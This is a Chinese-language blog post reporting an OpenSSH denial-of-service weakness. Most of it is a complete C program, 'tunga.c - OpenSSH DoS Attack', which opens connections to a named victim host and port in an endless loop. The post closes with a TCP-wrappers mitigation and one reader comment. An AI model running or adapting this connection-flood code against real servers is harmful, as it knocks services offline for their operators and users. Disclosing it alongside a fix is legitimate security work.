详细描述
openssh存在拒绝服务攻击,使用如下操作:

$ ssh user@somehost.com
ssh_exchange_identification: Connection closed by remote host

可以导致服务停止。

测试代码
--[ Code ]--

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>
#include <unistd.h>

int main (int argc, char *argv[]) {

  int sd, rc;
  struct sockaddr_in localAddr, servAddr;
  struct linger ling;
  struct hostent *h;

  if(argc < 3) {
    printf("tunga.c - OpenSSH DoS Attack\n");
    printf("by DrBrain <drbrain@phibernet.org>\n");
    printf("Phibernet Information Network < http://www.phibernet.org
>\n\n");
    printf("Usage: %s <victim> <port>\n\n",argv[0]);
    exit(1);
  }

  h = gethostbyname(argv[1]);
  if(h==NULL) {
    printf("%s: Unknown Host '%s'\n",argv[0],argv[1]);
    exit(1);
  }

  for(;;) {
    servAddr.sin_family = h->h_addrtype;
    memcpy((char *) &servAddr.sin_addr.s_addr, h->h_addr_list[0],
h->h_length);
    servAddr.sin_port = htons(atoi(argv[2]));

    sd = socket(AF_INET, SOCK_STREAM, 0);
    if(sd<0) {
      perror("Cannot Open Socket ");
      exit(1);
    }

    rc = connect(sd, (struct sockaddr *) &servAddr, sizeof(servAddr));
    if(rc<0) {
      perror("Cannot Connect ");
      exit(1);
    }
  }
  exit(0);
}

解决方案
编译SSH服务程序支持libwrap(Tcp-wrappers),然后在/etc/hosts.{allow,deny} 中增加对源地址的控制。

Feedback

# re: SSH居然存在安全漏洞!!!还发生在我的身上,RedHat你还很狠!  回复  更多评论   

2006-08-31 18:08 by JonneyQuest
我们一直都是在/etc/hosts.allow中限制登录的。
应该遇不上这个漏洞。

只有注册用户登录后才能发表评论。


网站导航:
 

posts - 27, comments - 15, trackbacks - 0, articles - 1

Copyright © E.ven